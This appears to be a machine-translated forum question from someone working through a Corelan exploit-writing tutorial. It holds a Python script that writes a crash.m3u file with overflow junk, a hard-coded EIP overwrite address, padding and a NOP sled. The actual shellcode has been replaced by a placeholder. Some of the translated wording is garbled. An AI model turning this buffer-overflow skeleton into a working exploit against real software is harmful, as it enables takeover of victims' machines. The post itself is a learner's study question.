2014-05-25 46 views
0

我正在從Corelans漏洞利用寫入教程中學習,但是這裏有一些我不明白的地方,我已經從腳本中刪除了shellcode以節省空間(這不是問題),將其轉換到Python瞭解Corelans漏洞利用中的Preshellcode寫入教程

#!/usr/bin/python 

junk = 'A' * 26109 

eip = '\x2A\xB2\xD8\x01' 
preshellcode = 'XXXX' ### 
shellcode = "\x90" * 25 

shellcode += 'shellcode went here' 

f = open('crash.m3u', 'w') 
f.write(junk+eip+preshellcode+shellcode) ### 
f.close 

如果你刪除一個名爲「preshellcode」編輯行結束「###」這個腳本使用的變量,但問題是我不得不刪除preshellcode,其中包含4個字節(」 XXXX'),並在ESP中完美對齊shellcode。而是添加了shellcode = "\x90" * 25,接着是真正的shellcode。現在讓我困惑。我甚至嘗試將'\ x90'更改爲4等。任何解釋這裏發生了什麼?

回答